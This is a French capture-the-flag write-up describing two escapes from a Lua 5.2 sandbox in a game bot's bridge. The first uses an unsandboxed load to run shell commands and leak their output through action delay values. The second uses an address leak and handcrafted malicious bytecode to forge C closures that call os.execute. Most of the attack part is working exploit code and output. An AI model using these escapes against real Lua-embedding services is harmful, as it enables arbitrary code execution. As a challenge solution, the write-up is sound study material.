Introduction
Erratum: The right version for step2 bridge.py after step0 was intented to be bridge_expected.py. If you intend to get the points for the quality ranking, you must provide a version of your exploit that exploits this version of the bridge. The bridge_expected.py is available by providing step2:[flag for step2] basic authentication.
27/04/25
Et effectivement cette épreuve est malheureusement trivialement bypassable. Je présenterai d’abord ma solution pour la version du challenge, avant de proposer une solution pour la version souhaitée.
Analyse de surface
L’arborescence du site web fournit un ensemble de fichiers permettant de créer un docker équivalent à celui du challenge (utilisant une version de lua 5.2.4) et de créer un service prenant un fichier LUA en entrée.
Ce fichier LUA, dont un exemple est fourni, permet de scripter les coups à venir dans un jeu non explicité.
En passant sur le client lourd, je me retrouve effectivement devant un ensemble de triangles, changeants parfois de couleurs. Ça parle de paris, des barres bougent, je ne comprends strictement rien à rien. Et pas de mention de lua. Dans les commandes du bot non plus. En changeant, par hasard, la résolution de la sandbox dans laquelle s’exécute le client lourd, apparait un nouveau champs texte, permettant d’envoyer des commandes dans le chat ! Et de fournir un LUA.
Tentative de sandboxing
Le fichier bridge.py est chargé de créer l’environnement d’exécution du fichier LUA fourni en implémentant une sandbox limitant explicitement les fonctions appelables par notre fichier.
Malheureusement on trouve :
local sandbox = {}
sandbox.print = print
sandbox.type = type
sandbox.pairs = pairs
sandbox.load_state = load
sandbox.get_state = get_state
sandbox.coroutine = coroutine
sandbox.tonumber = tonumber
sandbox.tostring = tostring
La fonction load en LUA, permet de charger un nouveau fragment de code (l’équivalent de eval en python). La sandbox ne sera pas appliquée à ce fragment… Il est donc tout simplement possible de fournir en entrée :
function atEachTick (fullStateInstance)
-- process fullState according to your needs
-- and compute your resulting actions (can be empty array)
-- Action can either be a dict with AddToID, or a dict with RemoveFromID
yourActions = {}
exec = load_state("os.execute('ls / > /tmp-rw/out'); local f = io.open('/tmp-rw/out'); local result = f:read('*a');f:close(); return result")
local str = exec()
print(str)
return yourActions -- all the emitted actions are scheduled as your player ID (SelfPlayerID)
end
Ce qui exécute et affiche la commande souhaitée. Le plus complexe ensuite est de réussir à exfiltrer nos données. La seule sortie disponible étant le tableau d’action, je choisis d’utiliser le champs delay pour sortir un octet de donnée. Comme j’ai choisi, pour m’assurer de l’ordre des données en cas de problème, de sortir une action par tuile, je ne peux faire afficher que 19 actions toutes les 10s, je fais donc une boucle, utilisant une globale idx pour parcourir ma sortie :
if idx == nil then
idx = 0
end
local m_idx = 20
if m_idx + idx > string.len(str) then
m_idx = string.len(str) - idx
end
if idx <= string.len(str) then
for i=1,m_idx do
yourActions[i] = {
Delay = str:byte(i+idx),
Action = {RemoveFromID =i, TokenNumber = 1 }
}
end
end
idx = idx+19
return yourActions
Un script utilitaire parse ensuite le log du jeu pour en extraire les données. Je finis par obtenir le listing suivant :
1 root root 4096 May 6 16:48 . drwxr-xr-x 1 root root 4096 May 6 16:48 .. -rwxr-xr-x 1 root root 0 May 6 16:48 .dockerenv drwxr-xr-x 1 root root 409pp bin boot chall d64 media mnt opt persistent-ro proc root run sbin shared-lib srv sys thiswillforceyoutorce tmp dontguessthis dontguessthis dontguessthis dontguessthis onemore onemore onemore hmmmm hmmmm hmmmm flag.txt flag.txt flag.txt flag.txt SSTIC{b871c80ae6baaSSTIC{b871c80ae6baaSSTIC{b871c80ae6baa5fb806f7241109e9d39SSTIC{b871c80ae6baaSSTIC{b871c80ae6baaSSTIC{b871c80ae6baaSSTIC{b871c80ae6baa9f8641f2a63c7f69} SSTIC{b871c80ae6baa9f8641f2a63c7f69} SSTIC{b871c80ae6baaSSTIC{b871c80ae6baa5fb806f7241109e9d399f8641f2a63c7f69}
C’est rudimentaire, mais on a le flag.
bridge_expected
ASLR
Première problématique commune dans ce type de recherche, la randomisation de l’espace mémoire. Dans notre cas c’est relativement simple, lua offrant un leak par design. Le code suivant permet de retrouver l’adresse base du module lua:
local function _objAddr(o)
return tonumber(tostring(o):match('^%a+: 0x(%x+)$'),16)
end
function atEachTick (fullStateInstance)
-- process fullState according to your needs
-- and compute your resulting actions (can be empty array)
-- Action can either be a dict with AddToID, or a dict with RemoveFromID
yourActions = {}
local offset = 0x25950
local addr = _objAddr(print) - 0x25950
yourActions[1] = {
Delay = addr,
Action = {RemoveFromID = 19, TokenNumber = 10}
}
return yourActions -- all the emitted actions are scheduled as your player ID (SelfPlayerID)
end
L’offset, 0x25950 correspondant à la fonction lua_print dans lua52.cpython-311-x86_64-linux-gnu.so. Ce qui nous donne la sortie suivante :
[+] Sending lua automation code [+] Lua automation success: Successfully replaced lua code execution for 758904568469324269 (1396317483), will be triggered each 10s You scheduled removal of 10 tokens on tile 19 (delay 140537049210880)
140537049210880 ou (7FD154E56000) correspond à l’adresse de lua52.cpython-311-x86_64-linux-gnu.so en mémoire.
arbitrary call
En analysant la nouvelle fonction load_state :
function load_state_in_closure(load_func)
return function(code)
local func, err = load_func(code, "sandbox", "bt", sandbox)
if err then
return nil, err
end
return func
end
end
sandbox.load_state = load_state_in_closure(load)
On peut constater que la fonction load est maintenant appelée en y appliquant la sandbox (supprimant le bypass trivial), la fonction load interne permettant, cette fois, de charger du bytecode lua ( argument "bt"). Hors :
Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter.
Et effectivement, on trouve le fragment de code suivant:
-- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
local as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)
as_num = as_num:gsub("\x21", "\x17", 1) -- OP_FORPREP -> OP_JMP
as_num = assert(load(as_num))
-- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
local function addr_of(x) return as_num(x) * 2^1000 * 2^74 end
-- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
local function ub8(n)
local t = {}
for i = 1, 8 do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
-- void upval_assign(double func, TValue x) { reinterpret_cast<LClosure*>(func)->upvals[0]->v[0] = x; }
local upval_assign = string.dump(function(...)
local magic
(function(func, x)
(function(func)
magic = func
end)(func)
magic = x
end)(...)
end)
upval_assign = upval_assign:gsub("(magic\x00\x01\x00\x00\x00\x01)\x00", "%1\x01", 1)
upval_assign = assert(load(upval_assign))
-- CClosure* make_CClosure(lua_CFunction f, TValue up) { CClosure* co = eval("coroutine.wrap(function()end)"); co->f = f; co->upvalue[0] = up; return co; }
local function make_CClosure(f, up)
local co = coroutine.wrap(function()end)
local offsetof_CClosure_f = 24
local offsetof_CClosure_upvalue0 = 32
local sizeof_TString = 24
local offsetof_UpVal_v = 16
local offsetof_Proto_k = 16
local offsetof_LClosure_proto = 24
local upval1 = ub8(addr_of(co) + offsetof_CClosure_f)
local func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v)
local upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0)
local func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v)
upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74)
upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up)
return co
end
local ll_loadlib = make_CClosure(0xDEADBEEF) -- Obtaining the address of ll_loadlib is left as an exercise to the reader.
ll_loadlib() -- Should crash at ldo.c's `n = (*f)(L); /* do the actual call */`, with f==0xDEADBEEF
La fonction string.dump n’est pas incluse dans la sandbox, je l’ajoute, puis ajoute une fonction permettant de dumper les chaines as_num et upval_assign, ce qui permettra de remplacer la génération automatique du bytecode lua par des chaines fixes. Au passage je remplace les appels à load par load_state :
-- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
as_num_bc = '\x1b\x4c\x75\x61\x52\x00\x01\x04\x08\x04\x08\x00\x19\x93\x0d\x0a\x1a\x0a\x1b\x00\x00\x00\x1b\x00\x00\x00\x00\x01\x04\x07\x00\x00\x00\x26\x00\x00\x01\x66\x00\x00\x01\x81\x00\x00\x00\x17\x00\x00\x80\xdf\x00\x00\x01\x20\x40\xff\x7f\x1f\x00\x80\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x07\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x1b\x00\x00\x00\x04\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\x66\x6f\x72\x20\x69\x6e\x64\x65\x78\x29\x00\x03\x00\x00\x00\x06\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\x66\x6f\x72\x20\x6c\x69\x6d\x69\x74\x29\x00\x03\x00\x00\x00\x06\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x28\x66\x6f\x72\x20\x73\x74\x65\x70\x29\x00\x03\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x6e\x00\x04\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00'
as_num = load_state(as_num_bc)
-- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
local function addr_of(x)
addr = as_num(x) * 2^1000 * 2^74
print(addr)
return addr
end
-- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
local function ub8(n)
local t = {}
for i = 1, 8 do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
-- void upval_assign(double func, TValue x) { reinterpret_cast<LClosure*>(func)->upvals[0]->v[0] = x; }
upval_assign_bc = '\x1b\x4c\x75\x61\x52\x00\x01\x04\x08\x04\x08\x00\x19\x93\x0d\x0a\x1a\x0a\x35\x00\x00\x00\x3d\x00\x00\x00\x00\x01\x03\x05\x00\x00\x00\x04\x00\x00\x00\x65\x00\x00\x00\xa6\x00\x00\x00\x5d\x40\x00\x00\x1f\x00\x80\x00\x00\x00\x00\x00\x01\x00\x00\x00\x37\x00\x00\x00\x3c\x00\x00\x00\x02\x00\x04\x05\x00\x00\x00\xa5\x00\x00\x00\xc0\x00\x00\x00\x9d\x40\x00\x01\x49\x00\x00\x00\x1f\x00\x80\x00\x00\x00\x00\x00\x01\x00\x00\x00\x38\x00\x00\x00\x3a\x00\x00\x00\x01\x00\x02\x02\x00\x00\x00\x09\x00\x00\x00\x1f\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x02\x00\x00\x00\x39\x00\x00\x00\x3a\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x66\x75\x6e\x63\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x6d\x61\x67\x69\x63\x00\x01\x00\x00\x00\x01\x01\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x05\x00\x00\x00\x3a\x00\x00\x00\x3a\x00\x00\x00\x38\x00\x00\x00\x3b\x00\x00\x00\x3c\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x66\x75\x6e\x63\x00\x00\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x78\x00\x00\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x6d\x61\x67\x69\x63\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x73\x61\x6e\x64\x62\x6f\x78\x00\x05\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x00\x00\x3c\x00\x00\x00\x37\x00\x00\x00\x3d\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x6d\x61\x67\x69\x63\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00'
upval_assign = load_state(upval_assign_bc)
-- CClosure* make_CClosure(lua_CFunction f, TValue up) { CClosure* co = eval("coroutine.wrap(function()end)"); co->f = f; co->upvalue[0] = up; return co; }
local function make_CClosure(f, up)
local co = coroutine.wrap(function()end)
local offsetof_CClosure_f = 24
local offsetof_CClosure_upvalue0 = 32
local sizeof_TString = 24
local offsetof_UpVal_v = 16
local offsetof_Proto_k = 16
local offsetof_LClosure_proto = 24
local upval1 = ub8(addr_of(co) + offsetof_CClosure_f)
local func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v)
local upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0)
local func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v)
upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74)
upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up)
return co
end
local ll_loadlib = make_CClosure(0xDEADBEEF) -- Obtaining the address of ll_loadlib is left as an exercise to the reader.
ll_loadlib() -- Should crash at ldo.c's `n = (*f)(L); /* do the actual call */`, with f==0xDEADBEEF
et on retourne à bypass.lua
On a donc une primitive permettant, entre autres, d’appeler n’importe quelle fonction lua. Et comme j’ai justement un poc utilisant os.execute et io.open je n’ai qu’à transformer les dernières lignes en :
local offset_print = 153936
local offset_loadlib = 0x30250
local offset_execute = 0x38860
local offset_open = 0x2E3E0
local addr = _objAddr(print) - offset_print
local os_exec = make_CClosure(addr + offset_execute)
local io_open = make_CClosure(addr + offset_open)
os_exec('ls > /tmp/out')
local f = io_open('/tmp/out');
local result = f:read('*a');
f:close();
print(result)
Ce qui permet de récupérer, via la même méthode que pour la version originale, le contenu de /thiswillforceyoutorce/dontguessthis/onemore/hmmmm/flag.txt
Resource: simple.lua - bypass